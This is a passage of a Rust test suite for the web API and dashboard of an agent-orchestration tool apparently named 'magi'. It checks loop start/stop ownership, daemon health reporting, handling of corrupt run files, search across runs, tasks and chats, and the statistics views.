17812                .is_some_and(|s| s >= 55),
17813            "staleness is reported so the UI can say how long: {stale}"
17814        );
17815
17816        write_daemon(f.home.path(), Timestamp::now());
17817        let fresh = f.get("/api/health").await.json();
17818        assert_eq!(fresh["daemon"]["running"], true);
17819        assert_eq!(fresh["daemon"]["idle"], false);
17820        assert_eq!(fresh["daemon"]["pid"], 4242);
17821        assert_eq!(fresh["daemon"]["completed"], 7);
17822        assert_eq!(
17823            fresh["daemon"]["current"][0]["task"],
17824            "20260902-140501-aaaa"
17825        );
17826        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17827    }
17828
17829    #[tokio::test]
17830    async fn the_loop_is_not_running_until_something_starts_it() {
17831        let f = Fixture::start().await;
17832
17833        let view = f.get("/api/loop").await.json();
17834        assert_eq!(view["running"], false);
17835        assert_eq!(
17836            view["owned"], false,
17837            "nobody owns a loop that does not exist: {view}"
17838        );
17839        assert_eq!(view["stopping"], false);
17840        assert_eq!(view["last_error"], Value::Null);
17841        assert_eq!(view["daemon"]["running"], false);
17842        assert_eq!(
17843            view["repo"], "/repo/magi",
17844            "the repository a start would use, named before it is started"
17845        );
17846    }
17847
17848    #[tokio::test]
17849    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17850        let f = Fixture::start().await;
17851
17852        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17853        assert_eq!(res.status, 200, "{}", res.body);
17854        let view = res.json();
17855        assert_eq!(view["running"], true);
17856        assert_eq!(
17857            view["owned"], true,
17858            "the loop the UI started is the UI's own to stop: {view}"
17859        );
17860        assert_eq!(
17861            view["merge"],
17862            Value::Null,
17863            "no override was given, so each repository's own config decides"
17864        );
17865
17866        // The same object from the route a waking phone polls first. Two
17867        // surfaces disagreeing about whether anything is running is exactly
17868        // the confusion this UI exists to remove.
17869        let health = f.get("/api/health").await.json();
17870        assert_eq!(health["loop"]["running"], true, "{health}");
17871        assert_eq!(health["loop"]["owned"], true, "{health}");
17872
17873        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17874    }
17875
17876    #[tokio::test]
17877    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17878        let f = Fixture::start().await;
17879        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17880        assert_eq!(first.status, 200, "{}", first.body);
17881
17882        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17883        assert_eq!(
17884            again.status, 409,
17885            "two loops on one queue race for the same claims: {}",
17886            again.body
17887        );
17888        assert!(
17889            again.json()["error"]
17890                .as_str()
17891                .is_some_and(|e| e.contains("already running the loop")),
17892            "the refusal has to say why: {}",
17893            again.body
17894        );
17895        assert_eq!(
17896            f.get("/api/loop").await.json()["running"],
17897            true,
17898            "and the loop that was already running is untouched by it"
17899        );
17900
17901        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17902    }
17903
17904    #[tokio::test]
17905    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17906        let f = Fixture::start().await;
17907        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17908
17909        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17910        assert_eq!(
17911            res.status, 200,
17912            "the answer must not wait for the loop: a run in flight is tens of \
17913             minutes and the operator is holding a phone: {}",
17914            res.body
17915        );
17916
17917        let view = settled(&f, |v| v["running"] == false).await;
17918        assert_eq!(view["owned"], false);
17919        assert_eq!(
17920            view["stopping"], false,
17921            "a loop that has stopped is not still stopping: {view}"
17922        );
17923        assert_eq!(
17924            view["last_error"],
17925            Value::Null,
17926            "a loop that was asked to stop did not fail: {view}"
17927        );
17928
17929        // Idempotent, because the operator cannot tell a slow stop from a lost
17930        // one and will press it again.
17931        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17932        assert_eq!(twice.status, 200, "{}", twice.body);
17933    }
17934
17935    #[tokio::test]
17936    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17937        let f = Fixture::start().await;
17938        // How the operator has been doing it: a `magi serve` of their own,
17939        // heartbeat fresh, in the same home this UI reads.
17940        write_daemon(f.home.path(), Timestamp::now());
17941
17942        let view = f.get("/api/loop").await.json();
17943        assert_eq!(view["running"], false, "not in this process: {view}");
17944        assert_eq!(view["owned"], false, "and not this process's to control");
17945        assert_eq!(
17946            view["daemon"]["running"], true,
17947            "but a loop is alive somewhere, which is what the UI must say"
17948        );
17949        assert_eq!(view["daemon"]["pid"], 4242);
17950
17951        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17952            let res = f.post("/api/loop", Some(body)).await;
17953            assert_eq!(
17954                res.status, 409,
17955                "neither button may pretend to work on someone else's loop: {}",
17956                res.body
17957            );
17958            assert!(
17959                res.json()["error"]
17960                    .as_str()
17961                    .is_some_and(|e| e.contains("4242")),
17962                "the refusal has to name the process the operator must go to: {}",
17963                res.body
17964            );
17965        }
17966        assert_eq!(
17967            f.get("/api/loop").await.json()["running"],
17968            false,
17969            "and the refusal started nothing"
17970        );
17971    }
17972
17973    #[tokio::test]
17974    async fn a_stale_status_file_is_not_a_foreign_owner() {
17975        let f = Fixture::start().await;
17976        write_daemon(
17977            f.home.path(),
17978            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17979        );
17980
17981        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17982        assert_eq!(
17983            res.status, 200,
17984            "a daemon killed a minute ago must not lock the loop out of its \
17985             own home for good: {}",
17986            res.body
17987        );
17988        assert_eq!(res.json()["running"], true);
17989
17990        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17991    }
17992
17993    #[tokio::test]
17994    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17995        let f = Fixture::start().await;
17996        let before = f.get("/api/health").await.json()["loop_rev"]
17997            .as_u64()
17998            .expect("a loop revision");
17999
18000        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18001
18002        let after = f.get("/api/health").await.json()["loop_rev"]
18003            .as_u64()
18004            .expect("a loop revision");
18005        assert!(
18006            after > before,
18007            "the loop is in-process state, so this counter is the only thing \
18008             that tells a second device the first one started it: {before} -> \
18009             {after}"
18010        );
18011
18012        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18013    }
18014
18015    #[tokio::test]
18016    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18017        let f = Fixture::with_loop(launch_broken).await;
18018
18019        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18020        assert_eq!(
18021            res.status, 200,
18022            "starting it is not the failure: {}",
18023            res.body
18024        );
18025
18026        let view = settled(&f, |v| v["last_error"].is_string()).await;
18027        assert_eq!(
18028            view["running"], false,
18029            "a loop that died must not read as running, or the operator has \
18030             nothing to press: {view}"
18031        );
18032        assert_eq!(view["owned"], false);
18033        assert!(
18034            view["last_error"]
18035                .as_str()
18036                .is_some_and(|e| e.contains("read-only file system")),
18037            "the phone is where a loop that died at 3am is visible: {view}"
18038        );
18039
18040        // And it can be started again: the corpse was reaped, not left to
18041        // occupy the slot.
18042        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18043        assert_eq!(again.status, 200, "{}", again.body);
18044        assert!(
18045            again.json()["last_error"]
18046                .as_str()
18047                .is_none_or(|e| !e.contains("read-only file system")),
18048            "a fresh start does not keep showing why the last one died: {}",
18049            again.body
18050        );
18051    }
18052
18053    #[tokio::test]
18054    async fn a_newer_daemon_status_file_still_renders() {
18055        let f = Fixture::start().await;
18056        // A field this build has never heard of must not turn the status line
18057        // into a 500; that is the whole reason the reader is permissive.
18058        std::fs::write(
18059            f.home.path().join("daemon.json"),
18060            serde_json::json!({
18061                "schema": 2,
18062                "updated_at": Timestamp::now().to_string(),
18063                "idle": true,
18064                "surprise": { "nested": [1, 2, 3] },
18065            })
18066            .to_string(),
18067        )
18068        .expect("write daemon.json");
18069
18070        let health = f.get("/api/health").await;
18071
18072        assert_eq!(health.status, 200);
18073        assert_eq!(health.json()["daemon"]["running"], true);
18074    }
18075
18076    #[tokio::test]
18077    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18078        let f = Fixture::start().await;
18079        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18080        let broken = f.runs().join("20260902-140502-bad");
18081        std::fs::create_dir_all(&broken).expect("run dir");
18082        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18083
18084        let list = f.get("/api/runs").await;
18085        let detail = f.get("/api/runs/20260902-140502-bad").await;
18086
18087        assert_eq!(list.status, 200);
18088        let listed = list.json();
18089        let ids: Vec<&str> = listed
18090            .as_array()
18091            .expect("an array")
18092            .iter()
18093            .map(|r| r["id"].as_str().expect("an id"))
18094            .collect();
18095        assert_eq!(
18096            ids,
18097            vec!["20260902-140501-good"],
18098            "one unreadable run must not cost the operator the whole history"
18099        );
18100        assert_eq!(detail.status, 500);
18101        assert!(
18102            detail.json()["error"]
18103                .as_str()
18104                .is_some_and(|e| e.contains("run.json")),
18105            "the failure names the file to look at: {}",
18106            detail.body
18107        );
18108        // A skipped run has to be countable somewhere, or the UI shows an
18109        // empty history with nothing to explain it - which is exactly what a
18110        // directory full of older-schema runs looks like.
18111        let health = f.get("/api/health").await;
18112        assert_eq!(health.json()["runs_unreadable"], 1);
18113    }
18114
18115    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18116    #[tokio::test]
18117    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18118        let f = Fixture::start().await;
18119        let runs = f.runs();
18120        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18121        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18122        // Text three levels down, in a shape no current RunState has: an older
18123        // schema must still search.
18124        let path = runs.join("20260902-140502-bbbb").join("run.json");
18125        let mut v: serde_json::Value =
18126            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18127        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18128        std::fs::write(&path, v.to_string()).unwrap();
18129        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18130        std::fs::write(
18131            runs.join("20260902-140503-cccc").join("run.json"),
18132            "{ not json",
18133        )
18134        .unwrap();
18135
18136        let res = f.get("/api/search?scope=runs&q=quokka").await;
18137        assert_eq!(res.status, 200, "{}", res.body);
18138        let v = res.json();
18139        assert_eq!(v["total"], 1, "{v}");
18140        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18141        assert_eq!(v["hits"][0]["field"], "text");
18142        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18143        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18144        assert!(
18145            parts
18146                .iter()
18147                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18148            "{v}"
18149        );
18150        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18151        assert_eq!(
18152            flat, "The Quokka leaks across threads",
18153            "whitespace is collapsed"
18154        );
18155
18156        // Terms are ANDed, across different fields, case-insensitively.
18157        let both = f
18158            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18159            .await
18160            .json();
18161        assert_eq!(both["total"], 1, "{both}");
18162        let neither = f
18163            .get("/api/search?scope=runs&q=quokka%20zebra")
18164            .await
18165            .json();
18166        assert_eq!(neither["total"], 0, "{neither}");
18167        // Everything in the task statement is reachable, not only the row text.
18168        let stmt = f
18169            .get("/api/search?scope=runs&q=mobile%20first")
18170            .await
18171            .json();
18172        assert_eq!(stmt["total"], 2, "{stmt}");
18173        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18174        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18175    }
18176
18177    #[test]
18178    fn snippet_ignores_terms_longer_than_the_field() {
18179        let terms = ["ok".to_owned(), "elephant".to_owned()];
18180        let parts = snippet_of("ok", &terms);
18181        assert_eq!(
18182            parts,
18183            vec![SnippetPart {
18184                text: "ok".to_owned(),
18185                hit: true
18186            }]
18187        );
18188    }
18189
18190    #[test]
18191    fn snippet_marks_matches_longer_than_the_window() {
18192        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18193        let hit_len = |parts: &[SnippetPart]| -> usize {
18194            parts
18195                .iter()
18196                .filter(|p| p.hit)
18197                .map(|p| p.text.chars().count())
18198                .sum()
18199        };
18200        let total =
18201            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18202
18203        let long = "a".repeat(120);
18204        let parts = snippet_of(&long, std::slice::from_ref(&long));
18205        assert!(hit_len(&parts) > 0, "{parts:?}");
18206        assert!(total(&parts) <= cap);
18207
18208        let ja = "あ".repeat(130);
18209        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18210        assert!(hit_len(&parts) > 0, "{parts:?}");
18211        assert!(total(&parts) <= cap);
18212
18213        // A short hit, then one straddling the window's end.
18214        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18215        let term = format!("ab{}", "c".repeat(100));
18216        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18217        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18218        assert!(total(&parts) <= cap);
18219
18220        // Only the head matches: not highlighted.
18221        let text = format!("{}z", "a".repeat(119));
18222        let parts = snippet_of(&text, &["a".repeat(120)]);
18223        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18224    }
18225
18226    #[tokio::test]
18227    async fn search_caps_hits_and_snippet_length() {
18228        let f = Fixture::start().await;
18229        let runs = f.runs();
18230        for n in 0..(SEARCH_MAX_HITS + 5) {
18231            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18232        }
18233        let v = f.get("/api/search?scope=runs&q=web").await.json();
18234        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18235        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18236        assert_eq!(v["truncated"], true);
18237        // Every listed run hit carries its list row for the page's filters.
18238        assert!(
18239            v["hits"]
18240                .as_array()
18241                .unwrap()
18242                .iter()
18243                .all(|h| h["run"]["status"] == "merged")
18244        );
18245
18246        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18247        let parts = snippet_of(&long, &["needle".to_owned()]);
18248        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18249        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18250        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18251    }
18252
18253    #[tokio::test]
18254    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18255        let f = Fixture::start().await;
18256        let queue = f.queue();
18257        let mut t = Task::new(
18258            "short title".to_owned(),
18259            "line one\nthe hidden Armadillo detail".to_owned(),
18260            PathBuf::from("/repo/magi"),
18261            Source::Agent {
18262                run: "r1".to_owned(),
18263                node: "chat".to_owned(),
18264            },
18265        );
18266        t.last_error = Some("disk full on /tmp".to_owned());
18267        queue.put(&mut t).expect("file the task");
18268
18269        for (q, want) in [
18270            ("armadillo", 1),
18271            ("disk%20FULL", 1),
18272            ("chat", 1),
18273            ("queued", 1),
18274            ("short%20nothing", 0),
18275        ] {
18276            let v = f
18277                .get(&format!("/api/search?scope=tasks&q={q}"))
18278                .await
18279                .json();
18280            assert_eq!(v["total"], want, "{q}: {v}");
18281        }
18282        for bad in [
18283            "/api/search?scope=tasks&q=",
18284            "/api/search?scope=tasks&q=%20",
18285            "/api/search?scope=chats&q=",
18286            "/api/search?scope=chats&q=%20",
18287            "/api/search?scope=nope&q=a",
18288            "/api/search?q=a",
18289        ] {
18290            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18291        }
18292    }
18293
18294    /// Write one conversation file the way the store reads it back.
18295    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18296        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18297            .expect("seat value");
18298        let turns: Vec<serde_json::Value> = turns
18299            .iter()
18300            .map(|(who, body)| {
18301                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18302            })
18303            .collect();
18304        let doc = serde_json::json!({
18305            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18306            "status": status, "turns": turns,
18307            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18308            "seat": seat,
18309        });
18310        let dir = f.home.path().join("talks");
18311        std::fs::create_dir_all(&dir).expect("talks dir");
18312        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18313    }
18314
18315    #[test]
18316    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18317        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18318            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18319            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18320            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18321            "seat": crate::agent::SeatState::new("talk", "test", 1)
18322        })).unwrap();
18323        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18324        talk.title = Some(talk::ChatTitle {
18325            text: "最近の話題".into(),
18326            source: talk::TitleSource::Generated,
18327        });
18328        let doc = talk_search_doc(&talk);
18329        assert_eq!(doc["title"], "最近の話題");
18330        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18331        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18332        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18333    }
18334
18335    #[tokio::test]
18336    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18337        let f = Fixture::start().await;
18338        write_talk(
18339            &f,
18340            "20260901-000001-aaaa",
18341            "open",
18342            &[
18343                (
18344                    "operator",
18345                    "\n  Why does the Pangolin cache expire?\nsecond line",
18346                ),
18347                ("agent", "Because the TTL is thirty seconds."),
18348            ],
18349        );
18350        write_talk(
18351            &f,
18352            "20260901-000002-bbbb",
18353            "closed",
18354            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18355        );
18356        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18357
18358        let search = |q: &'static str| {
18359            let f = &f;
18360            async move {
18361                f.get(&format!("/api/search?scope=chats&q={q}"))
18362                    .await
18363                    .json()
18364            }
18365        };
18366
18367        let v = search("PANGOLIN").await;
18368        assert_eq!(v["scope"], "chats");
18369        assert_eq!(v["total"], 1, "{v}");
18370        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18371        assert_eq!(v["hits"][0]["field"], "title");
18372        assert_eq!(v["unreadable"], 1, "{v}");
18373        let marked: Vec<&str> = v["hits"][0]["snippet"]
18374            .as_array()
18375            .unwrap()
18376            .iter()
18377            .filter(|p| p["hit"] == true)
18378            .map(|p| p["text"].as_str().unwrap())
18379            .collect();
18380        assert_eq!(marked, ["Pangolin"]);
18381
18382        // An agent turn, in a closed conversation.
18383        let v = search("zebra").await;
18384        assert_eq!(v["total"], 1, "{v}");
18385        assert_eq!(v["hits"][0]["field"], "agent");
18386        // Words may sit in different turns; all must be present.
18387        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18388        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18389        // Bookkeeping is not searched.
18390        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18391            assert_eq!(search(q).await["total"], 0, "{q}");
18392        }
18393        // The first line only is the title; the second line is still a turn.
18394        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18395        // Open conversations are listed before closed ones.
18396        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18397
18398        let v = f.get("/api/search?scope=nope&q=a").await;
18399        assert_eq!(v.status, 400);
18400        assert!(
18401            v.body.contains("scope must be runs, tasks or chats"),
18402            "{}",
18403            v.body
18404        );
18405    }
18406
18407    #[test]
18408    fn a_question_card_links_a_task_id_to_the_task_page() {
18409        let start = APP_JS
18410            .find("function updateAskCard(")
18411            .expect("updateAskCard exists");
18412        let body = &APP_JS[start..];
18413        let body = &body[..body.find("\n}\n").expect("function end")];
18414        assert!(body.contains("question.run_is_task"));
18415        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18416        assert!(body.contains("`#/runs/${question.run}`"));
18417        assert!(body.contains("\"task\" : \"run\""));
18418    }
18419
18420    #[test]
18421    fn plain_text_message_surfaces_go_through_linkify() {
18422        assert!(APP_JS.contains("function linkify("));
18423        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18424        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18425        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18426        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18427        assert!(!APP_JS.contains("innerHTML = text"));
18428    }
18429
18430    #[test]
18431    fn implementation_rate_views_keep_independent_samples() {
18432        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18433            let a = stats::AgentStats {
18434                competitive_entered: competitive_n,
18435                competitive_wins: usize::from(competitive_n > 0),
18436                solo_entered: solo_n,
18437                solo_adopted: 2 * usize::from(solo_n > 0),
18438                ..Default::default()
18439            };
18440            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18441            for (key, n, numerator) in [
18442                ("competitive_win_rate", competitive_n, a.competitive_wins),
18443                ("solo_adoption_rate", solo_n, a.solo_adopted),
18444            ] {
18445                if n == 0 {
18446                    assert!(v[key].is_null());
18447                } else {
18448                    assert_eq!(v[key]["denominator"], n);
18449                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18450                }
18451            }
18452        }
18453        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18454        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18455        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18456        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18457    }
18458
18459    #[test]
18460    fn stats_bars_share_one_id_keyed_plan() {
18461        let start = APP_JS
18462            .find("function statsBarRows(")
18463            .expect("statsBarRows exists");
18464        let body = &APP_JS[start..];
18465        let body = &body[..body.find("\n}\n").expect("function end")];
18466        assert!(body.contains("statsBarPlan(rows)"));
18467        assert!(body.contains("statsAgentTone(row.agent)"));
18468        assert!(!body.contains("candTone(i)"));
18469        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18470        for root in [
18471            "stats-agents-bars",
18472            "stats-solo-bars",
18473            "stats-reviewers-bars",
18474        ] {
18475            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18476        }
18477    }
18478
18479    #[test]
18480    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18481        let start = APP_JS
18482            .find("function renderStatsReviewerScatter(")
18483            .expect("renderStatsReviewerScatter exists");
18484        let body = &APP_JS[start..];
18485        let body = &body[..body.find("\n}\n").expect("function end")];
18486        assert!(body.contains("statsScatterPlan(reviewers)"));
18487        assert!(body.contains("statsAgentTone(d.agent)"));
18488        assert!(APP_JS.contains("function statsScatterPlan("));
18489        assert!(
18490            APP_JS.contains("d.submitted < STATS_LOW_N")
18491                || APP_JS.contains("r.submitted < STATS_LOW_N")
18492        );
18493        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18494        assert!(APP_CSS.contains(".precision-scatter"));
18495    }
18496
18497    #[test]
18498    fn advisor_reflection_is_drawn_as_stacked_segments() {
18499        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18500        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18501        let html = include_str!("../assets/ui/index.html");
18502        assert!(html.contains("Approximate"));
18503        for label in ["reflected strongly", "faint", "no proposal"] {
18504            assert!(html.contains(label));
18505        }
18506        let css = include_str!("../assets/ui/app.css");
18507        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18508            assert!(css.contains(&format!(".{c} {{")));
18509        }
18510    }
18511
18512    #[test]
18513    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18514        assert!(APP_JS.contains("function statsDailyPlan("));
18515        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18516        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18517    }
18518
18519    #[test]
18520    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18521        let start = APP_JS
18522            .find("function scheduleSearch(")
18523            .expect("scheduleSearch exists");
18524        let body = &APP_JS[start..];
18525        let body = &body[..body.find("\n}\n").expect("function end")];
18526        assert!(body.contains("s.seq += 1"));
18527    }
18528
18529    /// The dashboard reads every run's state itself rather than trusting a
18530    /// separately-maintained count, so an unreadable run must be counted the
18531    /// same way `/api/health` counts it - never silently dropped the way the
18532    /// CLI's own `stats::load_all` drops it.
18533    #[tokio::test]
18534    async fn stats_runs_unreadable_matches_health() {
18535        let f = Fixture::start().await;
18536        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18537        let broken = f.runs().join("20260902-140502-bad");
18538        std::fs::create_dir_all(&broken).expect("run dir");
18539        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18540
18541        let stats = f.get("/api/stats").await;
18542        let health = f.get("/api/health").await;
18543
18544        assert_eq!(stats.status, 200);
18545        assert_eq!(stats.json()["totals"]["runs"], 1);
18546        assert_eq!(stats.json()["runs_unreadable"], 1);
18547        assert_eq!(
18548            stats.json()["runs_unreadable"],
18549            health.json()["runs_unreadable"],
18550            "the dashboard and /api/health must never disagree about how many \
18551             runs could not be read"
18552        );
18553    }
18554
18555    #[tokio::test]
18556    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18557        let f = Fixture::start().await;
18558        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18559        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18560        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18561
18562        let totals = &f.get("/api/stats").await.json()["totals"];
18563        assert_eq!(totals["runs"], 3);
18564        assert_eq!(totals["merged"], 1);
18565        assert_eq!(totals["stalled"], 1);
18566        assert_eq!(totals["in_progress"], 1);
18567        // A stalled run must never read as blocked/merged/ready - it is its
18568        // own bucket, not folded into a "decided" one.
18569        assert_eq!(totals["blocked"], 0);
18570        assert_eq!(totals["ready"], 0);
18571    }
18572
18573    #[tokio::test]
18574    async fn stats_advisors_report_proposals_and_reflection() {
18575        use crate::advise::{Advice, AdvisorRecord, Reflection};
18576        use crate::verdict::Proposal;
18577
18578        let f = Fixture::start().await;
18579        let mut state = RunState::new(
18580            PathBuf::from("/repo/magi"),
18581            "main".to_owned(),
18582            "0123456789abcdef".to_owned(),
18583            "task".to_owned(),
18584            Config::default(),
18585        );
18586        state.id = "20260902-140501-a".to_owned();
18587        state.status = RunStatus::Merged;
18588        state.advice = Some(Advice {
18589            records: vec![
18590                AdvisorRecord {
18591                    seat: "advisor-1".to_owned(),
18592                    agent: "alpha".to_owned(),
18593                    proposal: Some(Proposal {
18594                        approach: "do it".to_owned(),
18595                        key_tradeoff: "speed over memory".to_owned(),
18596                        risks: Vec::new(),
18597                        touches: Vec::new(),
18598                        why_not_naive: "breaks under load".to_owned(),
18599                    }),
18600                    error: None,
18601                    duration_ms: 0,
18602                    reflection: Reflection::Strong,
18603                },
18604                AdvisorRecord {
18605                    seat: "advisor-2".to_owned(),
18606                    agent: "alpha".to_owned(),
18607                    proposal: None,
18608                    error: Some("timed out".to_owned()),
18609                    duration_ms: 0,
18610                    reflection: Reflection::Absent,
18611                },
18612            ],
18613            synthesis: Some("blended brief".to_owned()),
18614        });
18615        let dir = f.runs().join(&state.id);
18616        std::fs::create_dir_all(&dir).expect("run dir");
18617        std::fs::write(
18618            dir.join("run.json"),
18619            serde_json::to_string_pretty(&state).expect("serialize run"),
18620        )
18621        .expect("write run.json");
18622
18623        // `alpha` is in no roster here; this test is about the rates.
18624        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18625        let alpha = advisors
18626            .as_array()
18627            .expect("an array")
18628            .iter()
18629            .find(|a| a["agent"] == "alpha")
18630            .expect("alpha row");
18631        assert_eq!(alpha["seated"], 2);
18632        assert_eq!(alpha["proposed"], 1);
18633        assert_eq!(alpha["absent"], 1);
18634        assert_eq!(alpha["strong"], 1);
18635        assert_eq!(alpha["faint"], 0);
18636        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18637    }
18638
18639    #[tokio::test]
18640    async fn stats_hides_agents_outside_the_roster_unless_all() {
18641        use crate::run::Candidate;
18642        let repo = TempDir::new().expect("repo dir");
18643        std::fs::write(
18644            repo.path().join("magi.toml"),
18645            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18646        )
18647        .expect("magi.toml");
18648        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18649        let mut state = RunState::new(
18650            PathBuf::from("/repo/magi"),
18651            "main".to_owned(),
18652            "0123456789abcdef".to_owned(),
18653            "task".to_owned(),
18654            Config::default(),
18655        );
18656        state.id = "20260902-140501-a".to_owned();
18657        state.status = RunStatus::Merged;
18658        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18659            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18660                "index": 0, "label": label.to_string(), "agent": agent,
18661                "branch": "b", "worktree": "/w",
18662            }))
18663            .expect("candidate");
18664            c.label = label;
18665            state.candidates.push(c);
18666        }
18667        let dir = f.runs().join(&state.id);
18668        std::fs::create_dir_all(&dir).expect("run dir");
18669        std::fs::write(
18670            dir.join("run.json"),
18671            serde_json::to_string_pretty(&state).expect("serialize run"),
18672        )
18673        .expect("write run.json");
18674
